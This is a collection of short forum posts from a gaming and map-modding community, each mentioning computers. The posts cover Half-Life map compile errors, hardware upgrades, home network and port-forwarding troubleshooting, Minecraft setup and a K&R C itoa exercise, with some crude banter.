Edit: As far as which kind of questions/problems... idk. Just keep giving more stuff like this, I'm learning from it :D
But before the next question, I'd like to understand this one.

In Do my vb.net homework for me. Nao. by Down Rodeo:
Who said anything about needing a computer to test? You can write it out by hand. Technically it's not legal C that I showed you; it is better to do
code
a ^= b;
b ^= a;
a ^= b;


but in the end Sprinkles is correct and it flips the variables. I hope you didn't Google it...

As a next question, I dunno. Any requests for a particular area? I know Superjer knows lots.

In Music You Recently Discovered! by phoenix_r:


I really liked the first two albums before I figured out just how much of it was fancy computer trickery.

In Warning - Leak in Hull by MadwiX:
I don't know what are you pointing on that ss, but everything in that area is patched and sealed, at least in my map on my computer. If not that, then what?

Also, ty for that, didn't even see that two warnings.

In Warning - Leak in Hull by MadwiX:
Hi people, I don't know if this forum is dead or not, but I'll post anyways in hope to get an answer. So, I've been struggling with this for some quite time now. I made a map, tested it on my computer (through Files --> Run in VHE) and with HLDS. It worked fine. Then I tried uploading it to my game server but whenever I change to that map the server crashes and needs to be restarted.

So I noticed some errors, which are:

Warning: === LEAK in hull 0 ===

Here's the compile progress:

code

** Executing...
** Command: Change Directory
** Parameters: C:\games\CS1.6v44


** Executing...
** Command: Copy File
** Parameters: "C:\Documents and Settings\Marko\Desktop\Marko\mape\deathrun_8b.map" "C:\games\CS1.6v44\cstrike\maps\deathrun_8b.map"


** Executing...
** Command: C:\DOCUME~1\Marko\Desktop\Marko\zhlt\hlcsg.exe
** Parameters: "C:\games\CS1.6v44\cstrike\maps\deathrun_8b"

hlcsg v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlcsg -----
Command line: C:\DOCUME~1\Marko\Desktop\Marko\zhlt\hlcsg.exe C:\games\CS1.6v44\cstrike\maps\deathrun_8b
Entering C:\games\CS1.6v44\cstrike\maps\deathrun_8b.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
clip hull type [ legacy ] [ legacy ]
onlyents [ off ] [ off ]
wadtextures [ on ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
nullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
10%...20%...30%...40%...50%...60%...80%...90%... (0.06 seconds)
SetModelCenters:
10%...20%...30%...40%...50%...60%...70%...80%...90%... (0.00 seconds)
CSGBrush:
10%...20%...30%...40%...50%...60%...70%...80%...90%... (0.20 seconds)

Using Wadfile: \games\cs1.6v44\cstrike\cs_bdog.wad
- Contains 0 used textures, 0.00 percent of map (132 textures in wad)
Using Wadfile: \games\cs1.6v44\cstrike\cs_dust.wad
- Contains 1 used texture, 5.00 percent of map (28 textures in wad)
Using Wadfile: \games\cs1.6v44\cstrike\cstrike.wad
- Contains 0 used textures, 0.00 percent of map (123 textures in wad)
Using Wadfile: \games\cs1.6v44\cstrike\de_aztec.wad
- Warning: Larger than expected texture (348972 bytes): 'SPECIAL_THANKS'
- Warning: Larger than expected texture (348972 bytes): 'THANKS'
- Contains 0 used textures, 0.00 percent of map (24 textures in wad)
Using Wadfile: \games\cs1.6v44\valve\decals.wad
- Contains 0 used textures, 0.00 percent of map (222 textures in wad)
Using Wadfile: \games\cs1.6v44\valve\halflife.wad
- Contains 18 used textures, 90.00 percent of map (3116 textures in wad)
Using Wadfile: \games\cs1.6v44\cstrike\liquids.wad
- Contains 1 used texture, 5.00 percent of map (32 textures in wad)
Including Wadfile: \games\cs1.6v44\cstrike\zhlt.wad
- Contains 0 used textures, 0.00 percent of map (7 textures in wad)

added 1 additional animating textures.
Texture usage is at 0.23 mb (of 4.00 mb MAX)
0.34 seconds elapsed

----- END hlcsg -----




** Executing...
** Command: C:\DOCUME~1\Marko\Desktop\Marko\zhlt\hlbsp.exe
** Parameters: "C:\games\CS1.6v44\cstrike\maps\deathrun_8b"

hlbsp v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlbsp -----
Command line: C:\DOCUME~1\Marko\Desktop\Marko\zhlt\hlbsp.exe C:\games\CS1.6v44\cstrike\maps\deathrun_8b

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
noopt [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 8192)


SolidBSP [hull 0] 500...534 (0.06 seconds)
Warning: === LEAK in hull 0 ===
Entity light @ ( 165,-2058, -32)
Error:
A LEAK is a hole in the map, where the inside of it is exposed to the
(unwanted) outside region. The entity listed in the error is just a helpful
indication of where the beginning of the leak pointfile starts, so the
beginning of the line can be quickly found and traced to until reaching the
outside. Unless this entity is accidentally on the outside of the map, it
probably should not be deleted. Some complex rotating objects entities need
their origins outside the map. To deal with these, just enclose the origin
brush with a solid world brush

Leak pointfile generated

SolidBSP [hull 1] 470 (0.09 seconds)
Warning: === LEAK in hull 1 ===
Entity env_explosion @ (1599,-1126,-192)
SolidBSP [hull 2] 454 (0.06 seconds)
Warning: === LEAK in hull 2 ===
Entity env_explosion @ (1599,-1126,-192)
SolidBSP [hull 3] 489 (0.08 seconds)
Warning: === LEAK in hull 3 ===
Entity light @ ( 165,-2058, -32)
0.75 seconds elapsed

----- END hlbsp -----





So I tried loading the .pts file, and I found a leak, so I moved the whole map to the center and patched the leaks. And now it's giving me those red scribblings in a place which doesn't have any blocks, entities or we.


In Funny shit all will enjoy! by NatureJay:
When I was on GJ's computer, The President was sitting by my side, staring at me. I said "Hi there, Mr. President" and he reached up, put both paws on my shoulder, and then hit me in the nose!

In Tdx by SRAW:
Seeing how unhelpful you guys are, I had earlier asked a computer expert friend of mine to help, and he told me the registry entries for it and now its fixed

In Help Needed Here.... by Rockbomb:
aaronjer said:
Why are you showing your paper weight your long johns?

Fixed that for you. It may look like a computer, but I don't think it really counts as one.

In Help Needed Here.... by aaronjer:
Why are you showing your computer your long johns?

In halp mah plox by sprinkles:
code
What Is a Bluetooth Stack?

A Bluetooth stack is an application installed on your computer that interacts with your Bluetooth devices. Two Bluetooth stacks are widely in use today:

The Microsoft Bluetooth stack, which comes with Windows XP Service Pack 2
The Widcomm Bluetooth stack
Most Bluetooth adapters use the Widcomm Bluetooth stack driver. Widcomm (acquired by Broadcom, http://www.broadcom.com) licenses its software to most Bluetooth manufacturers. Consequently, the installation, configuration, and use of different Bluetooth devices on Windows have a nearly identical look and feel.
The problem with the Bluetooth stack built into Windows XP SP 2 is that it has limited support for profiles. In particular, it does not support the Headset profile required to connect with Bluetooth headsets, and hence your Bluetooth headsets will not be able to work with your Windows XP PC.

To overcome the limitations in the Windows Bluetooth stack, you can install the Widcomm Bluetooth stack drivers from the manufacturer of your Bluetooth device. You can download the latest drivers and support software from the adapter vendor's web site. Because each vendor customizes the Widcomm software slightly, you should not use drivers from a vendor other than the one that manufactured your Bluetooth adapters.

In Schpida! He is our hero! by aaronjer:
Computer. It's 146x146 resolution because the game is 480x300. It's pixelated because the game is pixelated. And I'm just drawing the girls first... because I like drawing girls. There's actually a lot less girls than guys. You end up with a party of six in the end, and I don't think more than one of them will ever be female. Possibly two if you have a daughter that grows old enough to fight and has some sort of combat ability.

The game is somewhat realistic in that women are pretty shitty in melee combat. Save one, the only women that are useful in combat have magic abilities, and magic is very rare. Azmagelle's daughter is supernaturally fast and can fight well in melee... but she's the only one.


In Schpida! He is our hero! by SRAW:
and I don't get it when you say "drawing".
I mean you show a large pixalized version of it, so did you draw it on paper or did you do it in the computer or what

In Something wrong with firefox by the_cloud_system:
DUH, change the homepage.

i mean burn your computer.

what i actually meant was do not internet.

In RTS by Rockbomb:
So, with the building of my new computer, I've been inspired to revisit all the 3d modeling software I've used in the past, and I also now am able to mess around with the Unreal Development Kit.

Because of this, I've inspired myself to start creating a game. And, with me being recently introduced to LoL, I've decided that it'd be pretty fun to make an RTS.

So obviously my first thought was "Well that's easy, I'll just use the Unreal engine, that way I only have to do a bit of scripting and the rest is modeling/animation.". Then I started thinking "Hmmm... wonder if someone else would be interested in doing all the scripting for me...", which then led into "Hmmm... wonder if anyone would be interested in completely making an engine for me...". Which leads me to this truck.

So long story short, would anyone here be interested in doing the programming/scripting side of things on this game? I'm not looking to pay anyone at the moment, but you can damn sure bet that if you make an engine from scratch (or use an existing one you've made... *cough cough* spartor *cough*), you can count on a 50/50 split of whatever profit there ends up being.

In Little Help. by the_cloud_system:
this may be relevant to your interests.

In Compotor by Rockbomb:
So I purchased everything this morning, here is what my build ended up being:

case
PSU
MoBo
Processor
GPU
CD/DVD
HDD
Extra Fan
Extra Fan


And I also ordered myself a new keyboard: link


I meant to order an aftermarket CPU cooler, but forgot to, so imma just buy one from a local computer store.

Parts should arrive wednesday or thursday... I'll update more then :D

In Rockbomb by Rockbomb:
phoenix_r said:
buq25 said:
IT'S SO PRETTY!



What are you going to do in the Air Force?

Whatever they tell me to do

Haven't been assigned a job yet, so I don't know for sure. Almost all of my jobs that I picked were computer related in some way though, with my number 1 pick being cyber security.

But, I could technically end up not getting any of the jobs I picked, and end up with some gay job like being a cook or some shiz.

In The Friartruck about fixing my second computer by buq25:
buq25 said:
Thing from the wall-modem-router (that also gives wireless)- switch - me.


That "me" is my stationary computer that doesn't have any internet problems.
When I plug my laptop, using wire, into said switch it doesn't work. It's not the wire's fault, as I tried using the same wire that my stationary computer uses and it didn't work.

Only when my laptop was plugged directly into the router (downstairs) did the internet on it actually work.

In The Friartruck about fixing my second computer by buq25:
Rockbomb said:
I don't know what a switch is, no

Also, how far are we talking here? You said your laptop has wireless, yeah? Is it not a wireless router?

I have 2 computers, hence the "fixing my second computer". One is a stationary without wireless and my crappy one is a laptop with wireless.
I usually use wireless with the laptop but as it's internet broke down I tried with the wire to the switch, which didn't work.

A switch is where you plug in one internet wire as input and you get several outputs. I think that the difference between a switch and a router was that a switch doesn't have it's own IP.
I think that's what it is.

Also, my brother's internet was really slow when it worked, now it doesn't anymore. He's now plugged directly into the router that goes into the wall and it works fine.

This is my family's internet setup:
Thing from the wall-modem-router (that also gives wireless)- switch - me.

My parents computer is plugged directly into the router. Now also my brother's.

In The Friartruck about fixing my second computer by buq25:
Update!
My brother just removed everything from his computer (can't remember what it's called) and now can his computer connect to the internet by connecting to the switch which earlier didn't work.

My laptop still can't get internet by wireless or by wire to the switch but it works when it's connected directly to the router.

In The Friartruck about fixing my second computer by buq25:
Okay, my brother has the same problem with his Windows 7 laptop. He has no internet problems when he connects his computer with wire directly to the router(?). When he tried wireless or wire to the switch connected to the router, it doesn't work.

My laptop acts the same.

Wireless doesn't work (I presume) and the laptops can't connect through the switch.

THIS HURTS IS BRAIN MY.

In The Friartruck about fixing my second computer by buq25:
I'm not sure, there are no other nearby wireless connections.
I have the same problem/s with wire. I put the wire into the same switch as my main computer, which has no problems.

In Compotor by SRAW:
He's an Iranian who is studying computer science.

In Compotor by Down Rodeo:
That's very similar to the computer I am currently posting from. And this one is very tasty.

In pent4 ibm desktop does not "see" my other ram sticks by the_cloud_system:
i recently crashed my computer and it says i only have 1gig of ram.
i have 4 sticks inside of it.

any suggestions?

also i know there not working cause minecraft is being a laggy sum bitch,

In 'LeafThread' takes forever! by sin:
-fast make the compiling faster but its only for test not for final versions or release,
Your computer is fine its from the map itself, something is weird about it and even if its complex it should take this long.
VIS divides everything to patches, something you have screwed this over, so like a mature person google "leaf thread takes too long" and see what comes up for you.

In 'LeafThread' takes forever! by Rockbomb:
sin said:
LMAO It doesnt take weeks!

If you have a shit computer, and a really complicated map, then it could definitely take weeks.

sin said:
a very complex map should end in a day

Not everyone has the same computer as you, so the time will vary from person to person.

sin said:
I had the same problem in the past i just GOOGLED it like a normal person would do and I found the thing, now my map which is really complex takes 40min at leafthread.

Then maybe you should quit being a complete fucknugget and share with us what you found, so that he can try to fix his map.

In 'LeafThread' takes forever! by Rockbomb:
racsO said:
Ok, like 9 hours later it still doesn't even say 10% complete or anything. It has been using 80-95% cpu, but no progress? My computer doesn't hibernate or sleep so the program should have been running with no problems.

It could end up taking weeks, depending on just how complicated the map is, and how powerful your computer is. I would suggest doing as both Sprinkles and SRAW suggested, and first reduce how complicated your map is, and then compile it with the -fast tag like SRAW said.

In 'LeafThread' takes forever! by racsO:
Ok, like 9 hours later it still doesn't even say 10% complete or anything. It has been using 80-95% cpu, but no progress? My computer doesn't hibernate or sleep so the program should have been running with no problems.

In 'LeafThread' takes forever! by racsO:
I'm starting to think that it will never compile. It has been stuck on "LeafThread" of the compiling process for about 30 minutes now without it saying how much percent done it is. I'm not sure what LeafThread even is. The map is very complex with a lot of small shapes and vertex manipulation. Is there anything I can do to make this run faster or start running at all? Maybe a hlvis command I can add?

http://gyazo.com/e325eb7e7582d61d7062bbfefda293dc

Meanwhile, I'll leave my computer on overnight, we'll see what happens.

In Computer upgrade by SRAW:
Wow! How strange is it that your last name is computer, and so I see it must be providence that you are using one HaHa

In Computer upgrade by buq25:
Dator means computer in Swedish, but my name is Isak, yes.

In Computer upgrade by buq25:
molkman said:
You have alot of keyboards.

Me and my friends tried 9 player local multiplayer on my computer on some old game I had. It almost worked.

In Computer upgrade by buq25:
Well, I've had the computer for 8-10 years, I thought it might be outdated. I was apparently wrong. Thanks.

I haven't really got problems running games on medium-higher quality.

I'm getting some more space though. Or I could clean my computer.

Speaking of which, what's the difference between theese?
IDE 2,5
IDE 3,5
SAS 2,5
SAS 3,5
S-ATA 2,5
S-ATA 3,5
SCSI 68 pin
SCSI 80-pin
SSD 2,5
SSD PCI-E

In Computer upgrade by Rockbomb:
Mmk, so you do have a dedicated GPU, and it's not that bad either. And, your HDD is 7200rpm, which is also decent.

At this point I guess I should ask... is there anything that you've tried to run that didn't run well, or couldn't run at all? Or, is there anything specific that you would like to be able to run?

You shouldn't have many problems with your current setup, unless you're trying to run things like Crysis in high-detail or something.


Basically what I'm trying to get at, is that there's not much reason to upgrade your computer, unless you need it to do more than it already does. Don't fix what isn't broken, yah mean?

In Computer upgrade by buq25:
RAM: 4GB
Rockbomb said:
do you have a dedicated GPU? Or do you use the onboard GPU? Also the RPM stuff.

How do I check?

I don't know my budget. I just know that I want to upgrade the worst parts of my computer and that I have some spare money + the ability to get more. I know that I have slightly more than 300 dollars to spare currently.

In Computer upgrade by buq25:
I would like some help with making my computer better but I'm not that good with hardware.
Here's my Test My Hardware list:
--------------------------------------------------------------------
TEST MY HARDWARE
http://www.testmyhardware.com


System Summary
System Name : ISAK-DATOR
User Name : Microsoft
Domain : WORKGROUP
System Directory : C:\Windows\system32

Processor
Name : Intel(R) Core(TM)2 QuadCPU Q8200@ 2.33GHz
Speed : 2327 MHz

Mainboard
Bus(es) : AGP PCI IMB USB i2c/SMBus
MP Support : 1 CPU(s)
MP APIC : Yes
System BIOS Version : DELL - 15

Video System
Monitor : BenQ G2420HDB (Digital)
Adapter : RDPDD Chained DD

Physical Storage Device
Harddisk : WDC WD6400AAKS-75A7B2
Harddisk : TEAC USB HS-CF Card USB Device
Harddisk : TEAC USB HS-xD/SM USB Device
Harddisk : TEAC USB HS-MS Card USB Device
Harddisk : TEAC USB HS-SD Card USB Device
CD-ROM/DVD : PLDS DVD+-RW DH-16A6S
CD-ROM/DVD : OXSFQHA 23C5IV0TM341 SCSI CdRom Device

Logical Storage Device
OS (C:) : 581.11 GB (48.93 GB Free Space) (NTFS)
RECOVERY (D:) : 15.00 GB (14.87 GB Free Space) (NTFS)
CD-ROM/DVD (E:) : N/A
REMOVABLE DISK (F:) : -0.00 MB (-0.00 MB Free Space) ()
REMOVABLE DISK (G:) : -0.00 MB (-0.00 MB Free Space) ()
REMOVABLE DISK (H:) : -0.00 MB (-0.00 MB Free Space) ()
REMOVABLE DISK (I:) : -0.00 MB (-0.00 MB Free Space) ()
CD-ROM/DVD (J:) : N/A

Peripheral
Serial/Parallel Port(s) : COM / LPT
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2937.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2937
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2938.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2938
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2939.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2939
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2934.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2934
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2935.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2935
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_2936.devicedesc%;Intel(R) ICH9 Family USB Universal Host Controller - 2936
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_293c.devicedesc%;Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C
USB Controller/Hub : @usbport.inf,%pci\ven_8086&dev_293a.devicedesc%;Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : USB-rotnav (hub)
USB Controller/Hub : @usb.inf,%usb\class_09.devicedesc%;Generic USB Hub
USB Controller/Hub : @usbstor.inf,%genericbulkonly.devicedesc%;USB-masslagringsenhet
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Keyboard : HID Keyboard Device
Mouse : HID-kompatibel mus
Mouse : HID-kompatibel mus
Mouse : HID-kompatibel mus
--------------------------------------------------------------------
I would be grateful for any help I could get.

In FOX Engine by Rockbomb:
molkman said:
Engine demos always look impressive since Source, the problem is that games will not look like that. Also probably more important than good graphics are great animations, because no matter how great the game looks, dumb animations make it look like shit.

Well if you look in the background, he's running it on an HP workstation. Idk about Xbox, but the PS3 should be able to handle anything that computer will.

And, if you've ever played any of Kojima's games (Metal Gear Solid series, Zone of the Enders series, Castlevania: Lords of Shadow), you'll know that the animations will be amazing on any game he puts out.

In Reducing Lag on map by OneDude:
My computer is bad, but I replaced it.
What should I do with the lights? Just delete them all and put light_ environment?

In Reducing Lag on map by the_cloud_system:
maybe you could cut down on lights, are there Specific areas in the map that lag. what im trying to make you do is cut down on how much things you have in your map.

im assuming its a jail break map so there are alot of rooms and this explains how "hlvis" is taking forever.and also if you have a bad computer then rearranging your map is not going to help.

In You guys still shitting around? by SolidKAYOS:
aaronjer said:
I drew some more pictures. They are in Schpida. They are ALL DEDICATED TO YOU AS ALWAYS.

I love you, thank you as always. i will check them once the child leaves my room.

the_cloud_system said:
world of warcraft got me in a vice as school just came back in.

Im actually working on getting that now. My Lady friends dying for me to play with her so me gonna try.

I just got a New computer finally. HP Omni 200. i work at KFC and im not going to my shitty college until spring not sure whaty i want to do. i wanted to go to full sail university and do online courses for Game design but im too poor :( So idk what im going to be doings.

Just came back to check on everybody been gone awhile :p ill try to stay for abit before i suddenly..vanish.

In How to reduce lag in maps? by Bambucha:
I got no errors/no leaks, but my fps in my map is ~30-45 (on my old computer, but on new it's ~75 fps), but in other map (which i didn't make, map is almost the same size) i get ~50-60 fps (and again on my old computer, on my new i get ~75fps). Anyone got any tips for reducing lags in making maps?

In ISP Problem by Rockbomb:
Mate de Vita said:
phoenix_r said:
Kinda janky but perhaps try going back to DHCP and try to connect again. If that works you might be able to do the router-side configuration and then go back to the static IP. Also there may be something in your routybits saying DHCP clients only but I find that unlikely.

Even if I use DHCP settings I can't connect.

phoenix_r said:
If you don't mind, what are you trying to accomplish with port forwarding here?

I'm trying to host a cs server but for some reason my friends receive a Failed to Contact Game Server error when trying to connect. I went online to check it out and we all opened the ports that were listed in the threads I found (UDP 1200 and 27000-27015, TCP 27030-27039), but still couldn't connect, so now I'm trying to port-forward those ports to my IP, as it says in another thread.


I get the feeling you're having the same problem I had when I first started running a CS server... misunderstanding (or, lack of knowledge, as was in my case :P).

You said you are trying to forward the ports to your IP, which I'm going to assume you mean your WAN IP. If that's the case, that's not what needs to be done. You need to forward the ports to the LAN IP of the computer you're running the server from.

Here's a diagram of how things are:
Your friends computer ->His router -> His ISP -> Your ISP -> Your router
Now, your friend is going to send out a request from his computer to connect to your server. Everything is going to be fine up until it hits your router. At that point, the router isn't going to know which computer to send the request to, so it'll either send it to a random one, or not send it at all. So you forward the port to a local IP to tell it which computer to send everything to across said port.

In if i were my computer where would i hide non important files? by the_cloud_system:
my old computer with my graphics card and 4 gig memory is low on space (45mb left) and i want to know what can i deleat to make more space so i can benefit. my game wants 2gig atleast to run optimal.

no i will not delete;system32,porn

nor get a external hard drive

In ISP Problem by Mate de Vita:
OK, I have a problem. My internet connection isn't working and I have reason to believe my ISP is to blame. Now it might be that the ISP's servers crashed or something, but it's more likely that they blocked us for some reason (it wouldn't be the first time that's happened - last time they did it because a virus on my mom's computer was sending out spam mail or something like that).

Before I call them I'd like to know if me trying to connect with a static IP and using port-forwarding software from http://portforward.com/ could be the reason for such a block (I might have also used a false username/password combination for the router, as I wasn't completely sure about it, it gave no errors though).

In Error: Exceeded MAX_PATCHES by SRAW:
Maybe your map is corrupted... or hammer is corrupted... or your computer is broken due to all the PORN AND INDECENT STUFF DOWNLOAD ONTO YOUR COMPUTER 24/7



or you can go to google, like I did, type in the error, like I did and find this link, like I did http://twhl.info/wiki.php?id=822

and it says the map or hammer is corrupted, like I said LOL

In Laptop by Rockbomb:
Mate de Vita said:
Rockbomb said:
Mate de Vita said:
Anyone have any experience with MSI's laptops? I'm thinking of getting the gt680r.

Honestly, once you get up into that price range, I don't think the brand really matters. I just looked at the specs, and they're pretty nice, I think you would be happy with it.

Is it mandatory that you get a laptop though? Cuz for the same price, you could build a desktop that's ridiculous.

Well, it would be impractical, because I'll need to do a lot of computer work at school, and then I'd have to constantly transfer files and programs from the school's computer to my home desk computer.

Ah, school... then go with the laptop for sure :D
I just figured I'd mention it, cuz for some reason a lot of people will buy a laptop, and then never take it anywhere, so they could have spent the money on an even better desktop :P

But, I think you'll like MSI you mentioned. I looked at some of the reviews, and the one thing most people were complaining about was that the keyboard doesn't light up xD
There were a couple people who said the wireless card on it was kinda weak though, so if you're planning on using wifi a lot, you might wanna look into that.

In Laptop by Mate de Vita:
Rockbomb said:
Mate de Vita said:
Anyone have any experience with MSI's laptops? I'm thinking of getting the gt680r.

Honestly, once you get up into that price range, I don't think the brand really matters. I just looked at the specs, and they're pretty nice, I think you would be happy with it.

Is it mandatory that you get a laptop though? Cuz for the same price, you could build a desktop that's ridiculous.

Well, it would be impractical, because I'll need to do a lot of computer work at school, and then I'd have to constantly transfer files and programs from the school's computer to my home desk computer.

In why cant i click in the cmaera? by Rockbomb:
nectar said:
it has to do with the driver? omg, i cant do that, i dunno how...

Just because you don't know how, doesn't mean you can't do it.
Try here: link
If it says your computer isn't supported, try here: link

In Laptop by Sloth:
I had a rough time finding the perfect laptop, I wanted it to fit for watching movies, which is Storage & processor. I wanted to play some games, Minecraft, Starcraft, Portal etc. And I wanted to have a laptop to study on. I browsed alot and found a perfect combination (almost)
The Hewlett Packard DV60000,
I went to a computer store and bought it for Approx. 600$ ( I live in Denmark, in DKK it's 4500,- But it was a sale day and I had a gift card) I went home spended alot of time setting everything up, anti-virus, personal settings, Getting rid of preinstalled shit etc.

I installed all my games and went happy. Until.............


I plugged my gamermouse into the laptop, and I saw that it worked super. Now usually I don't unplug my usb's so I just Shut down the pc. Completely. And went to do some other stuff. I returned and pressed the start up button. All LED lights went on and i could her the fan working. Uh-oh The screen never responded, it remained black. Thats when I went googling. This PC has alot of bugs. HP failed completely it works perfectly when you got it started up, but it has some physical bugs. If you plug a internet-cabel into it, you wont be able to pull it out unless you use a knife etc. to lever it out.

Theres many versions of the DV6, my brother has a thicker more expensive one. And i have the cheapest and thinnest one.

the Dv6 Series is bugged, but good and reasonable.


I haven't checked if theres a latest fix..

I forgot my conclusion but I g2g.




In LoL by buq25:
aaronjer said:
Yes. Indeed. That thing I said. LoL is just ghetto HoN/DotA. It incorporates metagame unlock bullshit that I hate as well.

It's weird how many people think that LoL is just as much like DotA as HoN is. The only thing that could possibly cause that is them simply having never played HoN and probably also never played DotA. Since if they had they'd be all like "WTF is this shit" and go play a real version of the game.

HoN=DotA. I never have enjoyed DotA. I do enjoy LoL.

LoL is similiar to DotA because of it's base (kill creep get money, pay money get stuff, use stuff kill players yadadadada). Then LoL removed the extremely horrible in DotA (Yaaay, 6 second stun with 4 second cooldown!) and made it more player friendly.

DotA players are more used to that so if they leave, they go to HoN which I'm happy about since they're really helpful to newbies. Glad I don't have to play against them.

@Sraw, click spacebar to automatically target your champion.

You can't deny creep, thankfully. In DotA most people play rangers.
You want to know why? Since they can deny so redicolously easy.

You CAN select enemy stuff! In your top left corner there's your champion. To the left of that you can see whatever you've marked.

I like the graphics and their cartoony style. Otherwise you're meaning that your computer is horrible.

In get your ass in here. by the_cloud_system:
i personly do not want migit porn on my computer, but we cant have what we want sometimes.

In compile by SuperJer:
How bad is your computer?

For test builds, you can do -fast for vis and rad which can speed it up. Or skip them altogether.

Ten years ago it was not uncommon to have to wait 10+ hours for a compile so quit complaining.

In The M-I-N-E-C-R-A-F-T Truck by Mate de Vita:
Down Rodeo said:
How exactly is it you're trying to get Minecraft running? I'm not having any difficulties.

However, you really have to have the proper drivers available (if you have an ATi or nVidia card in there, you can get open-source Intel drivers from... somewhere). Then running minecraft is as simple as running
code
java -cp minecraft.jar net.minecraft.LauncherFrame
I don't even think you'd need to increase the memory available to it.

I had some problems because I have both sun java and some other (GIJ, I believe) installed. So I used something like
code
/home/blah/jre1.0.6_24/bin/java -jar /home/blah/.minecraft/minecraft.jar

It asked me to choose a name, then did nothing else. It didn't freeze my computer, it just left my terminal running some god-knows-what process, I left it for about half an hour, then CTRL+C'd it.

superjer said:
You also need at least 2 GB of RAM and a real video card WITH manufacturer-supplied drivers.

Wow, that's a little steep, not sure I have that.

In The M-I-N-E-C-R-A-F-T Truck by Mate de Vita:
Fuck, I give up, this shit just isn't worth it
I can't get minecraft to work on my laptop, nor on my linux computer.

In Static variables and pointers by Mate de Vita:
superjer said:
You know there's a 2nd edition of K&R, right?

I saw on wikipedia, yes. But I only have this one and can't be assed to search for an online version.

New problem, I have the function itoa (n, s), which turns an integer into its decimal string representation (so the number 123 becomes a char array with the elements '1', '2', '3', '\0').

C code
itoa (n, ps)
char *ps;
int n;
{
int i = 0, tf = 0, sign;
char *start = ps;

if (n == -n && n != 0) n++, tf++; //!
if ((sign = n) < 0) n = -n;

do {
*ps++ = n % 10 + '0';
} while ((n /= 10) > 0);

if (sign < 0) *ps++ = '-';
if (tf) *start = *start + 1; //!
*ps = '\0';

reverse (start);
}


Notice the lines marked with exclamation marks, those are the ones I added myself (the rest was copied from the book). The Exercise reads:

Quote:
Exercise 3-3. In a 2's complement number representation, our version of itoa does not handle the largest negative number, that is, the value of n equal to -(2^(wordsize-1)). Explain why not. Modify it to print that value correctly, regardless of the machine it runs on.


The problem here is the process by which the computer calculates the negative number: by calculating its binary complement and incrementing it by one. In the case of -(2^(wordsize-1)), this becomes C(10000...)+1, which is 01111...+1, which in turn is again 10000..., so you get the same number.

My solution works in this case but it's rather clumsy. If the number in question ended in a 9, I would have to make *start = '0' and *(start+1)++, and so on until the end of the string. Now obviously, in this particular case this isn't a problem, since 2^n, where n is an integer, can never end with a 9.

Still, is there a better, more general solution to this problem? For example, what happens if I have to implement this into a different function where the above is possible?

Btw, can *start = *start + 1 be written instead as (*start)++ ?

In (other) minecraft server. by Down Rodeo:
The only thing you can do for that is log in on someone's computer, then make a server with "online=false" set. Beyond that you could just host your own, it's not tough...

In rap is not music by aaronjer:
superjer said:

Just because someone's good at composing doesn't mean they can make it sound good on a computer. Music making software is more about dodging bugs and tricking the software into doing what you want than actually writing anything. It's unnecessarily difficult.

aaronjer said:
Theoretically

superjer said:

Also I don't think it's so easy to get a reasonably good musician to play your music. It's almost impossible to get people to listen to something, nevermind learn it and play it.

I don't think it would be very hard to get them to play it if you just paid them... but really, I'm not totally convinced everyone has had the same experiences with terrible audio software that you have. I think computers are a pretty viable option. There's a fair amount of reasonably well composed music that's never touched a real instrument made by random douche bags on the internet.

...there's also an ungodly enormous, steaming mass of terribly composed garbage out there. I don't think either of us really knows if it's awful because of the software or because of the composers, but my money is on the composer.

